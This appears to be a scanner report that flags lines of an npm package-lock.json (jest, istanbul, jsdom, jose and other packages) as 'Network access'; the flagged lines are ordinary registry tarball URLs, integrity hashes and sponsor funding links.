"version": "2.0.0", "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", "integrity": "sha512-RHxMLp9lnKHGHRng9QFhRCMbYAcVpn69smSGcq3f36xjgVVWThj4qqLbTLlq7Ssj8B+fIQ1EuCEGI2lKsyQeIw==", - Network accessline 3638
"resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", - Network accessline 3643
"node_modules/istanbul-lib-coverage": { "version": "3.2.2", "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", - Network accessline 3644
"version": "3.2.2", "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==" - Network accessline 3645
"resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", - Network accessline 3653
"node_modules/istanbul-lib-instrument": { "version": "6.0.3", "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-6.0.3.tgz", - Network accessline 3654
"version": "6.0.3", "resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-6.0.3.tgz", "integrity": "sha512-Vtgk7L/R2JHyyGW07spoFlB8/lpjiOLTjMdms6AFMraYt3BaJauod/NGrfnVG/y4Ix1JEuMRPDPEj2ua+zz1/ - Network accessline 3655
"resolved": "https://registry.npmjs.org/istanbul-lib-instrument/-/istanbul-lib-instrument-6.0.3.tgz", - Network accessline 3670
"node_modules/istanbul-lib-report": { "version": "3.0.1", "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", - Network accessline 3671
"version": "3.0.1", "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", - Network accessline 3672
"resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", - Network accessline 3685
"node_modules/istanbul-lib-source-maps": { "version": "4.0.1", "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", - Network accessline 3686
"version": "4.0.1", "resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", "integrity": "sha512-n3s8EwkdFIJCG3BPKBYvskgXGoy88ARzvegkitk60NxRdwltLOTaH7CUiMRXvwYorl0Q712iEjcWB+fK/Mr - Network accessline 3687
"resolved": "https://registry.npmjs.org/istanbul-lib-source-maps/-/istanbul-lib-source-maps-4.0.1.tgz", - Network accessline 3700
"node_modules/istanbul-reports": { "version": "3.2.0", "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", - Network accessline 3701
"version": "3.2.0", "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", - Network accessline 3702
"resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", - Network accessline 3714
"node_modules/jest": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest/-/jest-29.7.0.tgz", - Network accessline 3715
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest/-/jest-29.7.0.tgz", "integrity": "sha512-NIy3oAFp9shda19hy4HK0HRTWKtPJmGdnvywu01nOqNC2vZg+Z+fvJDxpMQA88eb2I9EcafcdjYgsDthnYTvGw==", - Network accessline 3716
"resolved": "https://registry.npmjs.org/jest/-/jest-29.7.0.tgz", - Network accessline 3741
"node_modules/jest-changed-files": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-29.7.0.tgz", - Network accessline 3742
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-29.7.0.tgz", "integrity": "sha512-fEArFiwf1BpQ+4bXSprcDc3/x4HSzL4al2tozwVpDFpsxALjLYdyiIK4e5Vz66GQJIbXJ82+35PtysofptNX2w==", - Network accessline 3743
"resolved": "https://registry.npmjs.org/jest-changed-files/-/jest-changed-files-29.7.0.tgz", - Network accessline 3756
"node_modules/jest-circus": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-29.7.0.tgz", - Network accessline 3757
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-29.7.0.tgz", "integrity": "sha512-3E1nCMgipcTkCocFwM90XXQab9bS+GMsjdpmPrlelaxwD93Ad8iVEjX/vvHPdLPnFf+L40u+5+iutRdA1N9myw==", - Network accessline 3758
"resolved": "https://registry.npmjs.org/jest-circus/-/jest-circus-29.7.0.tgz", - Network accessline 3788
"node_modules/jest-cli": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-29.7.0.tgz", - Network accessline 3789
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-29.7.0.tgz", "integrity": "sha512-OVVobw2IubN/GSYsxETi+gOe7Ka59EFMR/twOU3Jb2GnKKeMGJB5SGUUrEz3SFVmJASUdZUzy83sLNNQ2gZslg==", - Network accessline 3790
"resolved": "https://registry.npmjs.org/jest-cli/-/jest-cli-29.7.0.tgz", - Network accessline 3822
"node_modules/jest-config": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-29.7.0.tgz", - Network accessline 3823
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-config/-/jest-config-29.7.0.tgz", "integrity": "sha512-uXbpfeQ7R6TZBqI3/TxCU4q4ttk3u0PJeC+E0zbfSoSjq6bJ7buBPxzQPL0ifrkY4DNu4JUdk0ImlBUYi840eQ==", - Network accessline 3824
"resolved": "https://registry.npmjs.org/jest-config/-/jest-config-29.7.0.tgz", - Network accessline 3868
"node_modules/jest-diff": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.7.0.tgz", - Network accessline 3869
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.7.0.tgz", "integrity": "sha512-LMIgiIrhigmPrs03JHpxUh2yISK3vLFPkAodPeo0+BuF7wA2FoQbkEg1u8gBYBThncu7e1oEDUfIXVuTqLRUjw==", - Network accessline 3870
"resolved": "https://registry.npmjs.org/jest-diff/-/jest-diff-29.7.0.tgz", - Network accessline 3884
"node_modules/jest-docblock": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-29.7.0.tgz", - Network accessline 3885
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-29.7.0.tgz", "integrity": "sha512-q617Auw3A612guyaFgsbFeYpNP5t2aoUNLwBUbc/0kD1R4t9ixDbyFTHd1nok4epoVFpr7PmeWHrhvuV3XaJ4g==", - Network accessline 3886
"resolved": "https://registry.npmjs.org/jest-docblock/-/jest-docblock-29.7.0.tgz", - Network accessline 3897
"node_modules/jest-each": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-29.7.0.tgz", - Network accessline 3898
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-each/-/jest-each-29.7.0.tgz", "integrity": "sha512-gns+Er14+ZrEoC5fhOfYCY1LOHHr0TI+rQUHZS8Ttw2l7gl+80eHc/gFf2Ktkw0+SIACDTeWvpFcv3B04VembQ==", - Network accessline 3899
"resolved": "https://registry.npmjs.org/jest-each/-/jest-each-29.7.0.tgz", - Network accessline 3914
"node_modules/jest-environment-node": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.7.0.tgz", - Network accessline 3915
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.7.0.tgz", "integrity": "sha512-DOSwCRqXirTOyheM+4d5YZOrWcdu0LNZ87ewUoywbcb2XR4wKgqiG8vNeYwhjFMbEkfju7wx2GYH0P2gevGvFw= - Network accessline 3916
"resolved": "https://registry.npmjs.org/jest-environment-node/-/jest-environment-node-29.7.0.tgz", - Network accessline 3932
"node_modules/jest-get-type": { "version": "29.6.3", "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.6.3.tgz", - Network accessline 3933
"version": "29.6.3", "resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.6.3.tgz", "integrity": "sha512-zrteXnqYxfQh7l5FHyL38jL39di8H8rHoecLH3JNxH3BwOrBsNeabdap5e0I23lD4HHI8W5VFBZqG4Eaq5LNcw==", - Network accessline 3934
"resolved": "https://registry.npmjs.org/jest-get-type/-/jest-get-type-29.6.3.tgz", - Network accessline 3942
"node_modules/jest-haste-map": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-29.7.0.tgz", - Network accessline 3943
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-29.7.0.tgz", "integrity": "sha512-fP8u2pyfqx0K1rGn1R9pyE0/KTn+G7PxktWidOBTqFPLYX0b9ksaMFkhK5vrS3DVun09pckLdlx90QthlW7AmA==", - Network accessline 3944
"resolved": "https://registry.npmjs.org/jest-haste-map/-/jest-haste-map-29.7.0.tgz", - Network accessline 3968
"node_modules/jest-leak-detector": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-29.7.0.tgz", - Network accessline 3969
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-29.7.0.tgz", "integrity": "sha512-kYA8IJcSYtST2BY9I+SMC32nDpBT3J2NvWJx8+JCuCdl/CR1I4EKUJROiP8XtCcxqgTTBGJNdbB1A8XRKbTetw==", - Network accessline 3970
"resolved": "https://registry.npmjs.org/jest-leak-detector/-/jest-leak-detector-29.7.0.tgz", - Network accessline 3982
"node_modules/jest-matcher-utils": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.7.0.tgz", - Network accessline 3983
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.7.0.tgz", "integrity": "sha512-sBkD+Xi9DtcChsI3L3u0+N0opgPYnCRPtGcQYrgXmR+hmt/fYfWAL0xRXYU8eWOdfuLgBe0YCW3AFtnRLagq/g==", - Network accessline 3984
"resolved": "https://registry.npmjs.org/jest-matcher-utils/-/jest-matcher-utils-29.7.0.tgz", - Network accessline 3998
"node_modules/jest-message-util": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.7.0.tgz", - Network accessline 3999
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.7.0.tgz", "integrity": "sha512-GBEV4GRADeP+qtB2+6u61stea8mGcOT4mCtrYISZwfu9/ISHFJ/5zOMXYbpBE9RsS5+Gb63DW4FgmnKJ79Kf6w==", - Network accessline 4000
"resolved": "https://registry.npmjs.org/jest-message-util/-/jest-message-util-29.7.0.tgz", - Network accessline 4019
"node_modules/jest-mock": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.7.0.tgz", - Network accessline 4020
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.7.0.tgz", "integrity": "sha512-ITOMZn+UkYS4ZFh83xYAOzWStloNzJFO2s8DWrE4lhtGD+AorgnbkiKERe4wQVBydIGPx059g6riW5Btp6Llnw==", - Network accessline 4021
"resolved": "https://registry.npmjs.org/jest-mock/-/jest-mock-29.7.0.tgz", - Network accessline 4034
"node_modules/jest-pnp-resolver": { "version": "1.2.3", "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", - Network accessline 4035
"version": "1.2.3", "resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", "integrity": "sha512-+3NpwQEnRoIBtx4fyhblQDPgJI0H1IEIkX7ShLUjPGA7TtUTvI1oiKi3SR4oBR0hQhQR80l4WAe5RrXBwWMA8w==", - Network accessline 4036
"resolved": "https://registry.npmjs.org/jest-pnp-resolver/-/jest-pnp-resolver-1.2.3.tgz", - Network accessline 4052
"node_modules/jest-regex-util": { "version": "29.6.3", "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-29.6.3.tgz", - Network accessline 4053
"version": "29.6.3", "resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-29.6.3.tgz", "integrity": "sha512-KJJBsRCyyLNWCNBOvZyRDnAIfUiRJ8v+hOBQYGn8gDyF3UegwiP4gwRR3/SDa42g1YbVycTidUF3rKjyLFDWbg==", - Network accessline 4054
"resolved": "https://registry.npmjs.org/jest-regex-util/-/jest-regex-util-29.6.3.tgz", - Network accessline 4062
"node_modules/jest-resolve": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-29.7.0.tgz", - Network accessline 4063
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-29.7.0.tgz", "integrity": "sha512-IOVhZSrg+UvVAshDSDtHyFCCBUl/Q3AAJv8iZ6ZjnZ74xzvwuzLXid9IIIPgTnY62SJjfuupMKZsZQRsCvxEgA==", - Network accessline 4064
"resolved": "https://registry.npmjs.org/jest-resolve/-/jest-resolve-29.7.0.tgz", - Network accessline 4083
"node_modules/jest-resolve-dependencies": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-29.7.0.tgz", - Network accessline 4084
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-29.7.0.tgz", "integrity": "sha512-un0zD/6qxJ+S0et7WxeI3H5XSe9lTBBR7bOHCHXkKR6luG5mwDDlIzVQ0V5cZCuoTgEdcdwzTghYkTW - Network accessline 4085
"resolved": "https://registry.npmjs.org/jest-resolve-dependencies/-/jest-resolve-dependencies-29.7.0.tgz", - Network accessline 4097
"node_modules/jest-runner": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-29.7.0.tgz", - Network accessline 4098
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-29.7.0.tgz", "integrity": "sha512-fsc4N6cPCAahybGBfTRcq5wFR6fpLznMg47sY5aDpsoejOcVYFb07AHuSnR0liMcPTgBsA3ZJL6kFOjPdoNipQ==", - Network accessline 4099
"resolved": "https://registry.npmjs.org/jest-runner/-/jest-runner-29.7.0.tgz", - Network accessline 4130
"node_modules/jest-runtime": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-29.7.0.tgz", - Network accessline 4131
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-29.7.0.tgz", "integrity": "sha512-gUnLjgwdGqW7B4LvOIkbKs9WGbn+QLqRQQ9juC6HndeDiezIwhDP+mhMwHWCEcfQ5RUXa6OPnFF8BJh5xegwwQ==", - Network accessline 4132
"resolved": "https://registry.npmjs.org/jest-runtime/-/jest-runtime-29.7.0.tgz", - Network accessline 4164
"node_modules/jest-snapshot": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-29.7.0.tgz", - Network accessline 4165
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-29.7.0.tgz", "integrity": "sha512-Rm0BMWtxBcioHr1/OX5YCP8Uov4riHvKPknOGs804Zg9JGZgmIBkbtlxJC/7Z4msKYVbIJtfU+tKb8xlYNfdkw==", - Network accessline 4166
"resolved": "https://registry.npmjs.org/jest-snapshot/-/jest-snapshot-29.7.0.tgz", - Network accessline 4196
"node_modules/jest-util": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.7.0.tgz", - Network accessline 4197
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.7.0.tgz", "integrity": "sha512-z6EbKajIpqGKU56y5KBUgy1dt1ihhQJgWzUlZHArA/+X2ad7Cb5iF+AK1EWVL/Bo7Rz9uurpqw6SiBCefUbCGA==", - Network accessline 4198
"resolved": "https://registry.npmjs.org/jest-util/-/jest-util-29.7.0.tgz", - Network accessline 4214
"node_modules/jest-validate": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-29.7.0.tgz", - Network accessline 4215
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-29.7.0.tgz", "integrity": "sha512-ZB7wHqaRGVw/9hST/OuFUReG7M8vKeq0/J2egIGLdvjHCmYqGARhzXmtgi+gVeZ5uXFF219aOc3Ls2yLg27tkw==", - Network accessline 4216
"resolved": "https://registry.npmjs.org/jest-validate/-/jest-validate-29.7.0.tgz", - Network accessline 4232
"node_modules/jest-validate/node_modules/camelcase": { "version": "6.3.0", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", - Network accessline 4233
"version": "6.3.0", "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", "integrity": "sha512-Gmy6FhYlCY7uOElZUSbxo2UCDH8owEk996gkbrpsgGtrJLM3J7jGxl9Ic7Qwwj4ivOE5AWZWRMecDdF7hqGjFA==", - Network accessline 4234
"resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.3.0.tgz", - Network accessline 4240
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 4241
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 4242
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 4245
"node_modules/jest-watcher": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-29.7.0.tgz", - Network accessline 4246
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-29.7.0.tgz", "integrity": "sha512-49Fg7WXkU3Vl2h6LbLtMQ/HyB6rXSIX7SqvBLQmssRBGN9I0PNvPmAmCWSOY6SOvrjhI/F7/bGAv9RtnsPA03g==", - Network accessline 4247
"resolved": "https://registry.npmjs.org/jest-watcher/-/jest-watcher-29.7.0.tgz", - Network accessline 4265
"node_modules/jest-worker": { "version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", - Network accessline 4266
"version": "29.7.0", "resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", "integrity": "sha512-eIz2msL/EzL9UFTFFx7jBTkeZfku0yUAyZZZmJ93H2TYEiroIx2PQjEXcwYtYl8zXCxb+PAmA2hLIt/6ZEkPHw==", - Network accessline 4267
"resolved": "https://registry.npmjs.org/jest-worker/-/jest-worker-29.7.0.tgz", - Network accessline 4281
"node_modules/jest-worker/node_modules/supports-color": { "version": "8.1.1", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", - Network accessline 4282
"version": "8.1.1", "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", "integrity": "sha512-MpUEN2OodtUzxvKQl72cUF7RQ5EiHsGvSsVG0ia9c5RbWGL2CI4C7EpPS8UTBIplnlzZiNuV56w+FuNxy3ty2Q==", - Network accessline 4283
"resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz", - Network accessline 4292
}, "funding": { "url": "https://github.com/chalk/supports-color?sponsor=1" - Network accessline 4293
"funding": { "url": "https://github.com/chalk/supports-color?sponsor=1" } - Network accessline 4294
"url": "https://github.com/chalk/supports-color?sponsor=1" - Network accessline 4297
"node_modules/jose": { "version": "6.2.4", "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.4.tgz", - Network accessline 4298
"version": "6.2.4", "resolved": "https://registry.npmjs.org/jose/-/jose-6.2.4.tgz", "integrity": "sha512-N8acGzVsQy6M/fjFcxtysNc4Q379TcM5dM/qKkNtsHFji88yANnXTr7BLeP75iPnFwBfQzM/jg2BZ9+HZrHCZA==", - Network accessline 4299
"resolved": "https://registry.npmjs.org/jose/-/jose-6.2.4.tgz", - Network accessline 4303
"peer": true, "funding": { "url": "https://github.com/sponsors/panva" - Network accessline 4304
"funding": { "url": "https://github.com/sponsors/panva" } - Network accessline 4305
"url": "https://github.com/sponsors/panva" - Network accessline 4308
"node_modules/js-tokens": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - Network accessline 4309
"version": "4.0.0", "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", - Network accessline 4310
"resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", - Network accessline 4315
"node_modules/js-yaml": { "version": "3.14.2", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz", - Network accessline 4316
"version": "3.14.2", "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz", "integrity": "sha512-PMSmkqxr106Xa156c2M265Z+FTrPl+oxd/rgOQy2tijQeK5TxQ43psO1ZCwhVOSdnn+RzkzlRz/eY4BgJBYVpg==", - Network accessline 4317
"resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.2.tgz", - Network accessline 4329
"node_modules/jsdom": { "version": "24.1.3", "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-24.1.3.tgz", - Network accessline 4330
"version": "24.1.3", "resolved": "https://registry.npmjs.org/jsdom/-/jsdom-24.1.3.tgz", "integrity": "sha512-MyL55p3Ut3cXbeBEG7Hcv0mVM8pp8PBNWxRqchZnSfAiES1v1mRnMeFfaHWIPULpwsYfvO+ZmMZz5tGCnjzDUQ==", - Network accessline 4331
"resolved": "https://registry.npmjs.org/jsdom/-/jsdom-24.1.3.tgz", - Network accessline 4370
"node_modules/jsesc": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", - Network accessline 4371
"version": "3.1.0", "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", - Network accessline 4372
"resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", - Network accessline 4383
"node_modules/json-parse-even-better-errors": { "version": "2.3.1", "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", - Network accessline 4384
"version": "2.3.1", "resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", "integrity": "sha512-xyFwyhro/JEof6Ghe2iz2NcXoj2sloNsWr/XsERDK/oiPCfaNhl5ONfp+jQdAZRQQ0IJWNzH9 - Network accessline 4385
"resolved": "https://registry.npmjs.org/json-parse-even-better-errors/-/json-parse-even-better-errors-2.3.1.tgz", - Network accessline 4390
"node_modules/json-schema-to-ts": { "version": "3.1.1", "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz", - Network accessline 4391
"version": "3.1.1", "resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz", "integrity": "sha512-+DWg8jCJG2TEnpy7kOm/7/AxaYoaRbjVB4LFZLySZlWn8exGs3A4OLJR966cVvU26N7X9TWxl+Jsw7dzAqKT6g==", - Network accessline 4392
"resolved": "https://registry.npmjs.org/json-schema-to-ts/-/json-schema-to-ts-3.1.1.tgz", - Network accessline 4405
"node_modules/json-schema-traverse": { "version": "1.0.0", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - Network accessline 4406
"version": "1.0.0", "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", "integrity": "sha512-NM8/P9n3XjXhIZn1lLhkFaACTOURQXjWhV4BA/RnOv8xvgqtqpAX9IO4mRQxSx1Rlo4tqzeqb0sOlruaOy3dug==", - Network accessline 4407
"resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-1.0.0.tgz", - Network accessline 4413
"node_modules/json-schema-typed": { "version": "8.0.2", "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz", - Network accessline 4414
"version": "8.0.2", "resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz", "integrity": "sha512-fQhoXdcvc3V28x7C7BMs4P5+kNlgUURe2jmUT1T//oBRMDrqy1QPelJimwZGo7Hg9VPV3EQV5Bnq4hbFy2vetA==", - Network accessline 4415
"resolved": "https://registry.npmjs.org/json-schema-typed/-/json-schema-typed-8.0.2.tgz", - Network accessline 4421
"node_modules/json5": { "version": "2.2.3", "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", - Network accessline 4422
"version": "2.2.3", "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", - Network accessline 4423
"resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", - Network accessline 4434
"node_modules/kleur": { "version": "3.0.3", "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", - Network accessline 4435
"version": "3.0.3", "resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", "integrity": "sha512-eTIzlVOSUR+JxdDFepEYcBMtZ9Qqdef+rnzWdRZuMbOywu5tO2w2N7rqjoANZ5k9vywhL6Br1VRjUIgTQx4E8w==", - Network accessline 4436
"resolved": "https://registry.npmjs.org/kleur/-/kleur-3.0.3.tgz", - Network accessline 4444
"node_modules/leven": { "version": "3.1.0", "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", - Network accessline 4445
"version": "3.1.0", "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", - Network accessline 4446
"resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", - Network accessline 4454
"node_modules/lines-and-columns": { "version": "1.2.4", "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", - Network accessline 4455
"version": "1.2.4", "resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", "integrity": "sha512-7ylylesZQ/PV29jhEDl3Ufjo6ZX7gCqJr5F7PKrqc93v7fzSymt1BpwEU8nAUXs8qzzvqhbjhK5QZg6Mt/HkBg==", - Network accessline 4456
"resolved": "https://registry.npmjs.org/lines-and-columns/-/lines-and-columns-1.2.4.tgz", - Network accessline 4461
"node_modules/locate-path": { "version": "5.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - Network accessline 4462
"version": "5.0.0", "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", "integrity": "sha512-t7hw9pI+WvuwNJXwk5zVHpyhIqzg2qTlklJOf0mVxGSbe3Fp2VieZcduNYjaLDoy6p9uGpQEGWG87WpMKlNq8g==", - Network accessline 4463
"resolved": "https://registry.npmjs.org/locate-path/-/locate-path-5.0.0.tgz", - Network accessline 4474
"node_modules/lru-cache": { "version": "5.1.1", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - Network accessline 4475
"version": "5.1.1", "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", "integrity": "sha512-KpNARQA3Iwv+jTA0utUVVbrh+Jlrr1Fv0e56GGzAFOXN7dk/FviaDW8LHmK52DlcH4WP2n6gI8vN1aesBFgo9w==", - Network accessline 4476
"resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-5.1.1.tgz", - Network accessline 4484
"node_modules/make-dir": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", - Network accessline 4485
"version": "4.0.0", "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", - Network accessline 4486
"resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", - Network accessline 4495
}, "funding": { "url": "https://github.com/sponsors/sindresorhus" - Network accessline 4496
"funding": { "url": "https://github.com/sponsors/sindresorhus" } - Network accessline 4497
"url": "https://github.com/sponsors/sindresorhus" - Network accessline 4500
"node_modules/makeerror": { "version": "1.0.12", "resolved": "https://registry.npmjs.org/makeerror/-/makeerror-1.0.12.tgz", - Network accessline 4501
